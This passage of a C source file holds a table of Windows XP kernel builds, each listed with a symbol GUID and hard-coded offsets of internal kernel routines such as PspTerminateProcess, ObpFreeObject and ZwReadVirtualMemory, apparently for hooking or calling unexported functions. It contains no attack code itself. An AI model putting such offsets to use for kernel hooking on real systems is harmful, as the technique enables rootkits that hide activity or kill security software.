        .NtQueryKey                = (void*) 0x0012BC34,
        .NtQueryValueKey           = (void*) 0x00128A2E,
        .NtSetInformationFile      = (void*) 0x0008980A,
        .NtSetValueKey             = (void*) 0x00128FF2,
        .ObpFreeObject             = (void*) 0x000CD400,
        .PspTerminateProcess       = (void*) 0x000DE672,
        .swprintf                  = (void*) 0x000574D0,
        .ZwOpenProcess             = (void*) 0x00024DA4,
        .ZwProtectVirtualMemory    = (void*) 0x00024ED0,
        .ZwReadVirtualMemory       = (void*) 0x000252A4,
      }
    },
    {
      TEXT("ntoskrnl 5.1.2600.1149 (xpsp2.021108-1929)"),
      TEXT("31EE89B5DDB24922BB190478A63817EF5"),
      {
        .NtCreateProcess           = (void*) 0x000D70E0,
        .NtCreateProcessEx         = (void*) 0x000D7038,
        .NtCreateSection           = (void*) 0x000B1CB0,
        .NtTerminateProcess        = (void*) 0x000D874A,
        .NtQueryInformationFile    = (void*) 0x0008421A,
        .NtQueryKey                = (void*) 0x00125E6C,
        .NtQueryValueKey           = (void*) 0x00122C66,
        .NtSetInformationFile      = (void*) 0x0008480A,
        .NtSetValueKey             = (void*) 0x0012322A,
        .ObpFreeObject             = (void*) 0x000C7642,
        .PspTerminateProcess       = (void*) 0x000D88BC,
        .swprintf                  = (void*) 0x000542C0,
        .ZwOpenProcess             = (void*) 0x00024CEC,
        .ZwProtectVirtualMemory    = (void*) 0x00024E18,
        .ZwReadVirtualMemory       = (void*) 0x000251EC,
      }
    },
    {
      TEXT("ntkrnlpa 5.1.2600.1151 (xpsp2.030422-1633)"),
      TEXT("2080ED7B99A74CD9B8A12C69A916BE483"),
      {
        .NtCreateProcess           = (void*) 0x000DD23C,
        .NtCreateProcessEx         = (void*) 0x000DD194,
        .NtCreateSection           = (void*) 0x000B70C8,
        .NtTerminateProcess        = (void*) 0x000DE8A6,
        .NtQueryInformationFile    = (void*) 0x0008941A,
        .NtQueryKey                = (void*) 0x0012BFDA,
        .NtQueryValueKey           = (void*) 0x00128DD4,
        .NtSetInformationFile      = (void*) 0x00089A0A,
        .NtSetValueKey             = (void*) 0x00129398,
        .ObpFreeObject             = (void*) 0x000CD676,
        .PspTerminateProcess       = (void*) 0x000DEA18,
        .swprintf                  = (void*) 0x000575F0,
        .ZwOpenProcess             = (void*) 0x00024E14,
        .ZwProtectVirtualMemory    = (void*) 0x00024F40,
        .ZwReadVirtualMemory       = (void*) 0x00025314,
      }
    },
    {
      TEXT("ntoskrnl 5.1.2600.1151 (xpsp2.030422-1633)"),
      TEXT("FB1EDACE71FB4812A5D5132819D72E523"),
      {
        .NtCreateProcess           = (void*) 0x000D7486,
        .NtCreateProcessEx         = (void*) 0x000D73DE,
        .NtCreateSection           = (void*) 0x000B1EB6,
        .NtTerminateProcess        = (void*) 0x000D8AF0,
        .NtQueryInformationFile    = (void*) 0x0008441A,
        .NtQueryKey                = (void*) 0x00126212,
        .NtQueryValueKey           = (void*) 0x0012300C,
        .NtSetInformationFile      = (void*) 0x00084A0A,
        .NtSetValueKey             = (void*) 0x001235D0,
        .ObpFreeObject             = (void*) 0x000C78B8,
        .PspTerminateProcess       = (void*) 0x000D8C62,
        .swprintf                  = (void*) 0x000543E0,
        .ZwOpenProcess             = (void*) 0x00024D98,
        .ZwProtectVirtualMemory    = (void*) 0x00024EC4,
        .ZwReadVirtualMemory       = (void*) 0x00025298,
      }
    },
    {
      TEXT("ntkrnlpa 5.1.2600.1634 (xpsp2.050301-1526)"),
      TEXT("4F10E20499CD454DA4E958DC6B7DC6151"),
      {
        .NtCreateProcess           = (void*) 0x000DE466,
        .NtCreateProcessEx         = (void*) 0x000DE3BE,
        .NtCreateSection           = (void*) 0x000B8058,
        .NtTerminateProcess        = (void*) 0x000DFAC2,
        .NtQueryInformationFile    = (void*) 0x0008A43E,
        .NtQueryKey                = (void*) 0x0012D52A,
        .NtQueryValueKey           = (void*) 0x0012A324,
        .NtSetInformationFile      = (void*) 0x0008AA2E,
        .NtSetValueKey             = (void*) 0x0012A8E8,
        .ObpFreeObject             = (void*) 0x000CE6D4,
        .PspTerminateProcess       = (void*) 0x000DFC34,
        .swprintf                  = (void*) 0x00058560,
        .ZwOpenProcess             = (void*) 0x000251F0,
        .ZwProtectVirtualMemory    = (void*) 0x0002531C,
        .ZwReadVirtualMemory       = (void*) 0x000256F0,
      }
    },
    {
      TEXT("ntoskrnl 5.1.2600.1634 (xpsp2.050301-1526)"),
      TEXT("8C0365A4579D46469E0B53A80062C0472"),
      {
        .NtCreateProcess           = (void*) 0x000D3DCD,
        .NtCreateProcessEx         = (void*) 0x000A0107,
        .NtCreateSection           = (void*) 0x0007ECC9,
        .NtTerminateProcess        = (void*) 0x000A156E,
        .NtQueryInformationFile    = (void*) 0x000932EE,
        .NtQueryKey                = (void*) 0x00096734,
        .NtQueryValueKey           = (void*) 0x0008A214,
        .NtSetInformationFile      = (void*) 0x00087FCF,
        .NtSetValueKey             = (void*) 0x000A5C94,
        .ObpFreeObject             = (void*) 0x0007D9A5,
        .PspTerminateProcess       = (void*) 0x000F779C,
        .swprintf                  = (void*) 0x0001F96F,
        .ZwOpenProcess             = (void*) 0x00005682,
        .ZwProtectVirtualMemory    = (void*) 0x000057AE,
        .ZwReadVirtualMemory       = (void*) 0x00005B82,
      }
    },
    {
      TEXT("ntkrnlpa 5.1.2600.2096 (xpsp_sp2_rc1.040311-2315)"),
      TEXT("3FD0C106E6C64D489CB5408DE20BB2A31"),
      {
        .NtCreateProcess           = (void*) 0x000EDFAC,
        .NtCreateProcessEx         = (void*) 0x000EDEF6,
        .NtCreateSection           = (void*) 0x000C7116,
        .NtTerminateProcess        = (void*) 0x000EF774,
        .NtQueryInformationFile    = (void*) 0x00096A02,
        .NtQueryKey                = (void*) 0x00142206,
        .NtQueryValueKey           = (void*) 0x0013EC46,
        .NtSetInformationFile      = (void*) 0x00097006,
        .NtSetValueKey             = (void*) 0x0013F24C,
        .ObpFreeObject             = (void*) 0x000DD502,
        .PspTerminateProcess       = (void*) 0x000EF8EE,
        .swprintf                  = (void*) 0x0005ED65,
        .ZwOpenProcess             = (void*) 0x000269E8,
        .ZwProtectVirtualMemory    = (void*) 0x00026B14,
        .ZwReadVirtualMemory       = (void*) 0x00026EE8,
      }
    },
    {
      TEXT("ntoskrnl 5.1.2600.2096 (xpsp_sp2_rc1.040311-2315)"),
      TEXT("9996D1AF67964E6A947A9EA33EC8B9112"),
      {
        .NtCreateProcess           = (void*) 0x000D4928,
        .NtCreateProcessEx         = (void*) 0x000B3866,
        .NtCreateSection           = (void*) 0x0009BA48,
        .NtTerminateProcess        = (void*) 0x00100121,
        .NtQueryInformationFile    = (void*) 0x00099828,
        .NtQueryKey                = (void*) 0x000980D1,
        .NtQueryValueKey           = (void*) 0x0008F4CA,
        .NtSetInformationFile      = (void*) 0x0009A46B,
        .NtSetValueKey             = (void*) 0x000A0C64,
        .ObpFreeObject             = (void*) 0x0008C88D,
        .PspTerminateProcess       = (void*) 0x001557CE,
        .swprintf                  = (void*) 0x00020898,
        .ZwOpenProcess             = (void*) 0x000072BE,
        .ZwProtectVirtualMemory    = (void*) 0x0000741C,
        .ZwReadVirtualMemory       = (void*) 0x00007877,
      }
    },
    {
      TEXT("ntkrnlpa 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)"),
      TEXT("BD8F451F3E754ED8A34B50560CEB08E31"),
      {
        .NtCreateProcess           = (void*) 0x000EECE8,
        .NtCreateProcessEx         = (void*) 0x000EEC32,
        .NtCreateSection           = (void*) 0x000C823E,
        .NtTerminateProcess        = (void*) 0x000F04C8,
        .NtQueryInformationFile    = (void*) 0x00097B16,
        .NtQueryKey                = (void*) 0x0014328C,
        .NtQueryValueKey           = (void*) 0x0013FC8C,
        .NtSetInformationFile      = (void*) 0x0009811A,
        .NtSetValueKey             = (void*) 0x00140292,
        .ObpFreeObject             = (void*) 0x000DE212,
        .PspTerminateProcess       = (void*) 0x000F0642,
        .swprintf                  = (void*) 0x0005FBA5,
        .ZwOpenProcess             = (void*) 0x00026BFC,
        .ZwProtectVirtualMemory    = (void*) 0x00026D28,
        .ZwReadVirtualMemory       = (void*) 0x000270FC,
      }
    },
    {
      TEXT("ntkrnlmp 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)"),
      TEXT("7DE39A3E89DA4B378B95A09FA3A6398C2"),
      {
        .NtCreateProcess           = (void*) 0x000DDA28,
        .NtCreateProcessEx         = (void*) 0x000B45EC,
        .NtCreateSection           = (void*) 0x00097E25,
        .NtTerminateProcess        = (void*) 0x000B5E75,
        .NtQueryInformationFile    = (void*) 0x000A9C35,
        .NtQueryKey                = (void*) 0x000A329E,
        .NtQueryValueKey           = (void*) 0x0009D361,
        .NtSetInformationFile      = (void*) 0x000AB2C9,
        .NtSetValueKey             = (void*) 0x000AD921,
        .ObpFreeObject             = (void*) 0x00097640,
        .PspTerminateProcess       = (void*) 0x0015F016,
        .swprintf                  = (void*) 0x000236A5,
        .ZwOpenProcess             = (void*) 0x0000D110,
        .ZwProtectVirtualMemory    = (void*) 0x0000D26E,
        .ZwReadVirtualMemory       = (void*) 0x0000D6C9,
      }
    },
    {
      TEXT("ntkrpamp 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)"),
      TEXT("C40DD53A8D3D4AE3A24CE6BE866649C91"),
      {
        .NtCreateProcess           = (void*) 0x000F8A1C,
        .NtCreateProcessEx         = (void*) 0x000F8966,
        .NtCreateSection           = (void*) 0x000D2DEE,
        .NtTerminateProcess        = (void*) 0x000FA170,
        .NtQueryInformationFile    = (void*) 0x000A27F8,
        .NtQueryKey                = (void*) 0x0014C702,
        .NtQueryValueKey           = (void*) 0x00149102,
        .NtSetInformationFile      = (void*) 0x000A2DC4,
        .NtSetValueKey             = (void*) 0x00149708,
        .ObpFreeObject             = (void*) 0x000E874E,
        .PspTerminateProcess       = (void*) 0x000FA2EA,
        .swprintf                  = (void*) 0x00063635,
        .ZwOpenProcess             = (void*) 0x00028A28,
        .ZwProtectVirtualMemory    = (void*) 0x00028B54,
        .ZwReadVirtualMemory       = (void*) 0x00028F28,
      }
    },
    {
      TEXT("ntoskrnl 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)"),
      TEXT("8592B6763F34476B9BB560395A383F962"),
      {
        .NtCreateProcess           = (void*) 0x000DC543,
        .NtCreateProcessEx         = (void*) 0x000B15D3,
        .NtCreateSection           = (void*) 0x0008DB1B,
        .NtTerminateProcess        = (void*) 0x000B3E1E,
        .NtQueryInformationFile    = (void*) 0x0009BD12,
        .NtQueryKey                = (void*) 0x00098473,
        .NtQueryValueKey           = (void*) 0x000949A8,
        .NtSetInformationFile      = (void*) 0x000A2E7E,
        .NtSetValueKey             = (void*) 0x0009E527,
        .ObpFreeObject             = (void*) 0x0008CEA0,
        .PspTerminateProcess       = (void*) 0x00155BC2,
        .swprintf                  = (void*) 0x0002043A,
        .ZwOpenProcess             = (void*) 0x00006724,
        .ZwProtectVirtualMemory    = (void*) 0x00006882,
        .ZwReadVirtualMemory       = (void*) 0x00006CDD,
      }
    },
    {
      TEXT("ntkrnlmp 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)"),
      TEXT("AA1EE1B2A63A4232A379F3EFDDC4CFE82"),
      {
        .NtCreateProcess           = (void*) 0x000DD0C0,
        .NtCreateProcessEx         = (void*) 0x000B3CC0,
        .NtCreateSection           = (void*) 0x00095E25,
        .NtTerminateProcess        = (void*) 0x000B5549,
        .NtQueryInformationFile    = (void*) 0x000A7CAB,
        .NtQueryKey                = (void*) 0x000A0FFA,
        .NtQueryValueKey           = (void*) 0x0009B100,
        .NtSetInformationFile      = (void*) 0x000AB9EE,
        .NtSetValueKey             = (void*) 0x000A8F03,
        .ObpFreeObject             = (void*) 0x00095640,
        .PspTerminateProcess       = (void*) 0x0015CFF8,
        .swprintf                  = (void*) 0x0002388A,
        .ZwOpenProcess             = (void*) 0x0000CC0A,
        .ZwProtectVirtualMemory    = (void*) 0x0000CD36,
        .ZwReadVirtualMemory       = (void*) 0x0000D10A,
      }
    },
    {
      TEXT("ntkrnlpa 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)"),
      TEXT("89C2A9EB56A74E2D8269AFD1D835BA331"),
      {
        .NtCreateProcess           = (void*) 0x000EECC6,
        .NtCreateProcessEx         = (void*) 0x000EEC10,
        .NtCreateSection           = (void*) 0x000C8222,
        .NtTerminateProcess        = (void*) 0x000F04A6,
        .NtQueryInformationFile    = (void*) 0x00097B00,
        .NtQueryKey                = (void*) 0x00143294,
        .NtQueryValueKey           = (void*) 0x0013FC94,
        .NtSetInformationFile      = (void*) 0x00098104,
        .NtSetValueKey             = (void*) 0x0014029A,
        .ObpFreeObject             = (void*) 0x000DE1F6,
        .PspTerminateProcess       = (void*) 0x000F0620,
        .swprintf                  = (void*) 0x0005FBA5,
        .ZwOpenProcess             = (void*) 0x00026BFC,
        .ZwProtectVirtualMemory    = (void*) 0x00026D28,
        .ZwReadVirtualMemory       = (void*) 0x000270FC,
      }
    },
    {
      TEXT("ntoskrnl 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)"),
      TEXT("32962337F0F646388B39535CD8DD70E82"),
      {
        .NtCreateProcess           = (void*) 0x000D6314,
        .NtCreateProcessEx         = (void*) 0x000A941A,
        .NtCreateSection           = (void*) 0x0008D41B,
        .NtTerminateProcess        = (void*) 0x000ABC2B,
        .NtQueryInformationFile    = (void*) 0x0009B40A,
        .NtQueryKey                = (void*) 0x00097B71,
        .NtQueryValueKey           = (void*) 0x000940BB,
        .NtSetInformationFile      = (void*) 0x000A0E2C,
        .NtSetValueKey             = (void*) 0x0009DC1D,
        .ObpFreeObject             = (void*) 0x0008C7A1,
        .PspTerminateProcess       = (void*) 0x001554A6,
        .swprintf                  = (void*) 0x0001C047,
        .ZwOpenProcess             = (void*) 0x00006044,
        .ZwProtectVirtualMemory    = (void*) 0x00006170,
        .ZwReadVirtualMemory       = (void*) 0x00006544,
      }
    },
    {
      TEXT("ntkrpamp 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)"),
      TEXT("430480FAAC4F4A45980B99443EDC145E1"),
      {
        .NtCreateProcess           = (void*) 0x000F8A1C,
        .NtCreateProcessEx         = (void*) 0x000F8966,
        .NtCreateSection           = (void*) 0x000D2DE6,
        .NtTerminateProcess        = (void*) 0x000FA16E,
        .NtQueryInformationFile    = (void*) 0x000A27E2,
        .NtQueryKey                = (void*) 0x0014C708,
        .NtQueryValueKey           = (void*) 0x00149108,
        .NtSetInformationFile      = (void*) 0x000A2DAE,
        .NtSetValueKey             = (void*) 0x0014970E,
        .ObpFreeObject             = (void*) 0x000E8746,
        .PspTerminateProcess       = (void*) 0x000FA2E8,
        .swprintf                  = (void*) 0x00063635,
        .ZwOpenProcess             = (void*) 0x00028A28,
        .ZwProtectVirtualMemory    = (void*) 0x00028B54,
        .ZwReadVirtualMemory       = (void*) 0x00028F28,
      }
    },
    {
      TEXT("ntkrnlpa 5.1.2600.2622 (xpsp.050301-1521)"),
      TEXT("8FB67EFA263E45C4BEF1AC0748EC9EB01"),
      {
        .NtCreateProcess           = (void*) 0x000EECE4,
        .NtCreateProcessEx         = (void*) 0x000EEC2E,
        .NtCreateSection           = (void*) 0x000C8212,
        .NtTerminateProcess        = (void*) 0x000F04C4,
        .NtQueryInformationFile    = (void*) 0x00097B00,
        .NtQueryKey                = (void*) 0x001432B2,
        .NtQueryValueKey           = (void*) 0x0013FCB2,
        .NtSetInformationFile      = (void*) 0x00098104,
        .NtSetValueKey             = (void*) 0x001402B8,
        .ObpFreeObject             = (void*) 0x000DE1E6,
        .PspTerminateProcess       = (void*) 0x000F063E,
        .swprintf                  = (void*) 0x0005FBB5,
        .ZwOpenProcess             = (void*) 0x00026C10,
        .ZwProtectVirtualMemory    = (void*) 0x00026D3C,
        .ZwReadVirtualMemory       = (void*) 0x00027110,
      }
    },
    {
      TEXT("ntoskrnl 5.1.2600.2622 (xpsp.050301-1521)"),
      TEXT("012E81B8E0724418A1E96DD7F1C5CB9F2"),
      {
        .NtCreateProcess           = (void*) 0x000D633C,
        .NtCreateProcessEx         = (void*) 0x000A941A,
        .NtCreateSection           = (void*) 0x0008D41B,
        .NtTerminateProcess        = (void*) 0x000ABC2B,
        .NtQueryInformationFile    = (void*) 0x0009B40A,
        .NtQueryKey                = (void*) 0x00097B71,
        .NtQueryValueKey           = (void*) 0x000940BB,
        .NtSetInformationFile      = (void*) 0x000A0E2C,
        .NtSetValueKey             = (void*) 0x0009DC1D,
        .ObpFreeObject             = (void*) 0x0008C7A1,
        .PspTerminateProcess       = (void*) 0x001554FA,
        .swprintf                  = (void*) 0x0001C047,
        .ZwOpenProcess             = (void*) 0x00006044,
        .ZwProtectVirtualMemory    = (void*) 0x00006170,
        .ZwReadVirtualMemory       = (void*) 0x00006544,
      }
    },
    {
      TEXT("ntkrpamp 5.1.2600.2643 (xpsp.050329-1536)"),
      TEXT("F34F1BF50056422FB0FE176944516D4A1"),
      {
        .NtCreateProcess           = (void*) 0x000F8A3A,
        .NtCreateProcessEx         = (void*) 0x000F8984,
        .NtCreateSection           = (void*) 0x000D2DD6,
        .NtTerminateProcess        = (void*) 0x000FA18C,
        .NtQueryInformationFile    = (void*) 0x000A27E2,
        .NtQueryKey                = (void*) 0x0014C726,
        .NtQueryValueKey           = (void*) 0x00149126,
        .NtSetInformationFile      = (void*) 0x000A2DAE,
        .NtSetValueKey             = (void*) 0x0014972C,
        .ObpFreeObject             = (void*) 0x000E8736,
        .PspTerminateProcess       = (void*) 0x000FA306,
        .swprintf                  = (void*) 0x00063645,
        .ZwOpenProcess             = (void*) 0x00028A3C,
        .ZwProtectVirtualMemory    = (void*) 0x00028B68,
        .ZwReadVirtualMemory       = (void*) 0x00028F3C,
      }
    },
    {
      TEXT("ntkrnlmp 5.1.2600.2643 (xpsp.050329-1536)"),
      TEXT("8A840CDB24D446469499CC12974C0D322"),
      {
        .NtCreateProcess           = (void*) 0x000DD0A8,
        .NtCreateProcessEx         = (void*) 0x000B3CC0,
        .NtCreateSection           = (void*) 0x00095E25,
        .NtTerminateProcess        = (void*) 0x000B5549,
        .NtQueryInformationFile    = (void*) 0x000A7CAB,
        .NtQueryKey                = (void*) 0x000A0FFA,
        .NtQueryValueKey           = (void*) 0x0009B100,
        .NtSetInformationFile      = (void*) 0x000AB9EE,
        .NtSetValueKey             = (void*) 0x000A8F03,
        .ObpFreeObject             = (void*) 0x00095640,
        .PspTerminateProcess       = (void*) 0x0015D026,
        .swprintf                  = (void*) 0x0002387A,
        .ZwOpenProcess             = (void*) 0x0000CBFA,
        .ZwProtectVirtualMemory    = (void*) 0x0000CD26,
        .ZwReadVirtualMemory       = (void*) 0x0000D0FA,
      }
    },
    {
      TEXT("ntkrpamp 5.1.2600.2705 (xpsp.050622-1524)"),
      TEXT("1BBE06CABB4C4965B304101D416846321"),
      {
        .NtCreateProcess           = (void*) 0x000F8A56,
        .NtCreateProcessEx         = (void*) 0x000F89A0,
        .NtCreateSection           = (void*) 0x000D2DF2,
        .NtTerminateProcess        = (void*) 0x000FA1A8,
        .NtQueryInformationFile    = (void*) 0x000A27FE,
        .NtQueryKey                = (void*) 0x0014C758,
        .NtQueryValueKey           = (void*) 0x00149158,
        .NtSetInformationFile      = (void*) 0x000A2DCA,
        .NtSetValueKey             = (void*) 0x0014975E,
        .ObpFreeObject             = (void*) 0x000E8752,
        .PspTerminateProcess       = (void*) 0x000FA322,
        .swprintf                  = (void*) 0x000637B5,
        .ZwOpenProcess             = (void*) 0x00028B0C,
        .ZwProtectVirtualMemory    = (void*) 0x00028C38,
        .ZwReadVirtualMemory       = (void*) 0x0002900C,
      }
    },
    {
      TEXT("ntkrnlmp 5.1.2600.2705 (xpsp.050622-1524)"),
      TEXT("46BA5C69C3A2424D99AE8F7B790630C82"),
      {
        .NtCreateProcess           = (void*) 0x000DD0A8,
        .NtCreateProcessEx         = (void*) 0x000B3CC0,
        .NtCreateSection           = (void*) 0x00095E25,
        .NtTerminateProcess        = (void*) 0x000B5549,
        .NtQueryInformationFile    = (void*) 0x000A7CAB,
        .NtQueryKey                = (void*) 0x000A0FFA,
        .NtQueryValueKey           = (void*) 0x0009B100,
        .NtSetInformationFile      = (void*) 0x000AB9EE,
        .NtSetValueKey             = (void*) 0x000A8F03,
        .ObpFreeObject             = (void*) 0x00095640,
        .PspTerminateProcess       = (void*) 0x0015D07E,
        .swprintf                  = (void*) 0x0002655A,
        .ZwOpenProcess             = (void*) 0x0000CBFA,
        .ZwProtectVirtualMemory    = (void*) 0x0000CD26,
        .ZwReadVirtualMemory       = (void*) 0x0000D0FA,
      }
    },
    {
      TEXT("ntkrpamp 5.1.2600.2765 (xpsp.050928-1517)"),
      TEXT("93B3151FBA1F444E921B0B7AF2BADA5A1"),
      {
        .NtCreateProcess           = (void*) 0x000F8A56,
        .NtCreateProcessEx         = (void*) 0x000F89A0,
        .NtCreateSection           = (void*) 0x000D2DF2,
        .NtTerminateProcess        = (void*) 0x000FA1A8,
        .NtQueryInformationFile    = (void*) 0x000A27FE,
        .NtQueryKey                = (void*) 0x0014C758,
        .NtQueryValueKey           = (void*) 0x00149158,
        .NtSetInformationFile      = (void*) 0x000A2DCA,
        .NtSetValueKey             = (void*) 0x0014975E,
        .ObpFreeObject             = (void*) 0x000E8752,
        .PspTerminateProcess       = (void*) 0x000FA322,
        .swprintf                  = (void*) 0x000637B5,
        .ZwOpenProcess             = (void*) 0x00028B0C,
        .ZwProtectVirtualMemory    = (void*) 0x00028C38,
        .ZwReadVirtualMemory       = (void*) 0x0002900C,
      }
    },
    {
      TEXT("ntkrnlpa 5.1.2600.2765 (xpsp.050928-1517)"),
      TEXT("CC2DE018A01244D4832AF532340DCAC41"),
      {
        .NtCreateProcess           = (void*) 0x000EEE80,
        .NtCreateProcessEx         = (void*) 0x000EEDCA,
        .NtCreateSection           = (void*) 0x000C83AE,
        .NtTerminateProcess        = (void*) 0x000F0660,
        .NtQueryInformationFile    = (void*) 0x00097C9C,
        .NtQueryKey                = (void*) 0x00143464,
        .NtQueryValueKey           = (void*) 0x0013FE64,
        .NtSetInformationFile      = (void*) 0x000982A0,
        .NtSetValueKey             = (void*) 0x0014046A,
        .ObpFreeObject             = (void*) 0x000DE382,
        .PspTerminateProcess       = (void*) 0x000F07DA,
        .swprintf                  = (void*) 0x0005FCF5,
        .ZwOpenProcess             = (void*) 0x00026D28,
        .ZwProtectVirtualMemory    = (void*) 0x00026E54,
        .ZwReadVirtualMemory       = (void*) 0x00027228,
      }
    },
    {
      TEXT("ntoskrnl 5.1.2600.2765 (xpsp.050928-1517)"),
      TEXT("7DEB5F662C1B4675A79BE082B317F5402"),
      {
        .NtCreateProcess           = (void*) 0x000D64AC,
        .NtCreateProcessEx         = (void*) 0x000A959A,
        .NtCreateSection           = (void*) 0x0008D59B,
        .NtTerminateProcess        = (void*) 0x000ABDAB,
        .NtQueryInformationFile    = (void*) 0x0009B58A,
        .NtQueryKey                = (void*) 0x00097CF1,
        .NtQueryValueKey           = (void*) 0x0009423B,
        .NtSetInformationFile      = (void*) 0x000A0FAC,
        .NtSetValueKey             = (void*) 0x0009DD9D,
        .ObpFreeObject             = (void*) 0x0008C921,
        .PspTerminateProcess       = (void*) 0x001556D2,
        .swprintf                  = (void*) 0x000208EE,
        .ZwOpenProcess             = (void*) 0x00006044,
        .ZwProtectVirtualMemory    = (void*) 0x00006170,
        .ZwReadVirtualMemory       = (void*) 0x00006544,
      }
    },
    {
      TEXT("ntkrnlmp 5.1.2600.2765 (xpsp.050928-1517)"),
      TEXT("040335E8D8E841DD9729CF44B21C11792"),
      {
        .NtCreateProcess           = (void*) 0x000DD0A8,
        .NtCreateProcessEx         = (void*) 0x000B3CC0,
        .NtCreateSection           = (void*) 0x00095E25,
        .NtTerminateProcess        = (void*) 0x000B5549,
        .NtQueryInformationFile    = (void*) 0x000A7CAB,
        .NtQueryKey                = (void*) 0x000A0FFA,
        .NtQueryValueKey           = (void*) 0x0009B100,
        .NtSetInformationFile      = (void*) 0x000AB9EE,
        .NtSetValueKey             = (void*) 0x000A8F03,
        .ObpFreeObject             = (void*) 0x00095640,
        .PspTerminateProcess       = (void*) 0x0015D07E,
        .swprintf                  = (void*) 0x0002655A,
        .ZwOpenProcess             = (void*) 0x0000CBFA,
        .ZwProtectVirtualMemory    = (void*) 0x0000CD26,
        .ZwReadVirtualMemory       = (void*) 0x0000D0FA,
      }
    },
    {
      TEXT("ntkrpamp 5.1.2600.2774 (xpsp.051011-1528)"),
      TEXT("9BEFAFFECB0B4E7684D537E7896F1D091"),
      {
        .NtCreateProcess           = (void*) 0x000F8A5C,
        .NtCreateProcessEx         = (void*) 0x000F89A6,
        .NtCreateSection           = (void*) 0x000D2DF2,
        .NtTerminateProcess        = (void*) 0x000FA1AE,
        .NtQueryInformationFile    = (void*) 0x000A27FE,
        .NtQueryKey                = (void*) 0x0014C75E,
        .NtQueryValueKey           = (void*) 0x0014915E,
        .NtSetInformationFile      = (void*) 0x000A2DCA,
        .NtSetValueKey             = (void*) 0x00149764,
        .ObpFreeObject             = (void*) 0x000E8752,
        .PspTerminateProcess       = (void*) 0x000FA328,
        .swprintf                  = (void*) 0x00063735,
        .ZwOpenProcess             = (void*) 0x00028B0C,
        .ZwProtectVirtualMemory    = (void*) 0x00028C38,
        .ZwReadVirtualMemory       = (void*) 0x0002900C,
      }
    },
    {
      TEXT("ntkrnlpa 5.1.2600.2774 (xpsp.051011-1528)"),
      TEXT("4A60D40C68D74A7A91F60EB5C4B91D1B1"),
      {
        .NtCreateProcess           = (void*) 0x000EEE06,
        .NtCreateProcessEx         = (void*) 0x000EED50,
        .NtCreateSection           = (void*) 0x000C832E,
        .NtTerminateProcess        = (void*) 0x000F05E6,
        .NtQueryInformationFile    = (void*) 0x00097C1C,
        .NtQueryKey                = (void*) 0x001433EA,
        .NtQueryValueKey           = (void*) 0x0013FDEA,
        .NtSetInformationFile      = (void*) 0x00098220,
        .NtSetValueKey             = (void*) 0x001403F0,
        .ObpFreeObject             = (void*) 0x000DE302,
        .PspTerminateProcess       = (void*) 0x000F0760,
        .swprintf                  = (void*) 0x0005FC75,
        .ZwOpenProcess             = (void*) 0x00026D28,
        .ZwProtectVirtualMemory    = (void*) 0x00026E54,
        .ZwReadVirtualMemory       = (void*) 0x00027228,
      }
    },
    {
      TEXT("ntoskrnl 5.1.2600.2774 (xpsp.051011-1528)"),
      TEXT("53D901D8DB1340B4B49A8F1155E449E22"),
      {
        .NtCreateProcess           = (void*) 0x000D642C,
        .NtCreateProcessEx         = (void*) 0x000A951A,
        .NtCreateSection           = (void*) 0x0008D51B,
        .NtTerminateProcess        = (void*) 0x000ABD2B,
        .NtQueryInformationFile    = (void*) 0x0009B50A,
        .NtQueryKey                = (void*) 0x00097C71,
        .NtQueryValueKey           = (void*) 0x000941BB,
        .NtSetInformationFile      = (void*) 0x000A0F2C,
        .NtSetValueKey             = (void*) 0x0009DD1D,
        .ObpFreeObject             = (void*) 0x0008C8A1,
        .PspTerminateProcess       = (void*) 0x00155646,
        .swprintf                  = (void*) 0x000208EE,
        .ZwOpenProcess             = (void*) 0x00006044,
        .ZwProtectVirtualMemory    = (void*) 0x00006170,
        .ZwReadVirtualMemory       = (void*) 0x00006544,
      }
    },
    {
      TEXT("ntkrnlmp 5.1.2600.2774 (xpsp.051011-1528)"),
      TEXT("C5C5A2CF44924714BD7B4B42F2B227422"),
      {
        .NtCreateProcess           = (void*) 0x000DD0A8,
        .NtCreateProcessEx         = (void*) 0x000B3CC0,
        .NtCreateSection           = (void*) 0x00095E25,
        .NtTerminateProcess        = (void*) 0x000B5549,
        .NtQueryInformationFile    = (void*) 0x000A7CAB,
        .NtQueryKey                = (void*) 0x000A0FFA,
        .NtQueryValueKey           = (void*) 0x0009B100,
        .NtSetInformationFile      = (void*) 0x000AB9EE,
        .NtSetValueKey             = (void*) 0x000A8F03,
        .ObpFreeObject             = (void*) 0x00095640,
        .PspTerminateProcess       = (void*) 0x0015D094,
        .swprintf                  = (void*) 0x0002385A,
        .ZwOpenProcess             = (void*) 0x0000CBFA,
        .ZwProtectVirtualMemory    = (void*) 0x0000CD26,
        .ZwReadVirtualMemory       = (void*) 0x0000D0FA,
      }
    },
    {
      TEXT("ntkrpamp 5.1.2600.2845 (xpsp.060210-1526)"),
      TEXT("1AFF284D7C434F43979B2AE28D1E4EE21"),
      {
        .NtCreateProcess           = (void*) 0x000F8B10,
        .NtCreateProcessEx         = (void*) 0x000F8A5A,
        .NtCreateSection           = (void*) 0x000D2EA6,
        .NtTerminateProcess        = (void*) 0x000FA262,
        .NtQueryInformationFile    = (void*) 0x000A2888,
        .NtQueryKey                = (void*) 0x0014C812,
        .NtQueryValueKey           = (void*) 0x00149212,
        .NtSetInformationFile      = (void*) 0x000A2E54,
        .NtSetValueKey             = (void*) 0x00149818,
        .ObpFreeObject             = (void*) 0x000E8806,
        .PspTerminateProcess       = (void*) 0x000FA3DC,
        .swprintf                  = (void*) 0x000638D5,
        .ZwOpenProcess             = (void*) 0x00028CA8,
        .ZwProtectVirtualMemory    = (void*) 0x00028DD4,
        .ZwReadVirtualMemory       = (void*) 0x000291A8,
      }
    },
    {
      TEXT("ntkrnlmp 5.1.2600.2845 (xpsp.060210-1526)"),
      TEXT("4289FD8BCB254A3CA5A2FF206D2E535D2"),
      {
        .NtCreateProcess           = (void*) 0x000E9C08,
        .NtCreateProcessEx         = (void*) 0x000B3B10,
        .NtCreateSection           = (void*) 0x00095E25,
        .NtTerminateProcess        = (void*) 0x000B5399,
        .NtQueryInformationFile    = (void*) 0x000A7CBB,
        .NtQueryKey                = (void*) 0x000A0FAC,
